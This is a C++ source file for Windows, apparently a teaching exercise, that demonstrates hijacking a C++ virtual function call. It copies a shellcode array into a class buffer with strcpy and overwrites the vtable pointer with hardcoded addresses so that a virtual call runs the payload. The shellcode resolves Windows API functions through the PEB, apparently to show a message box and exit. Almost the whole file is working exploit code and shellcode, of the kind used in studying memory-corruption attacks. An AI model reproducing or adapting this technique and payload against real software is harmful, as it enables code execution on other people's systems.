#include "stdafx.h" #include <windows.h> #include <iostream.h> class failwest { public: char buf[200]; virtual void f1(void) { cout<<"Class Vtable test"; } }; failwest overflow,*p; char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53" "\x68\x64\x61\x30\x23" "\x68\x23\x50\x61\x6E" "\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//168 "\x90\x90\x90\x90\x90\x90\x90\x90" "\x74\xBA\x40\x00";//这里是是V函数指针 //0040BA74 int main(int argc, char* argv[]) { char * p_vtable; p_vtable = overflow.buf - 4; //0040BB38 strcpy(overflow.buf,shellcode); p_vtable[3]=0x00;//这里是Vtable 指针 p_vtable[2]=0x40; p_vtable[1]=0xbb; p_vtable[0]=0x38; //Vtable指针指向 V函数 //在汇编中是 call Vtable指针的方式调用的 p = &overflow; p->f1(); return 0; }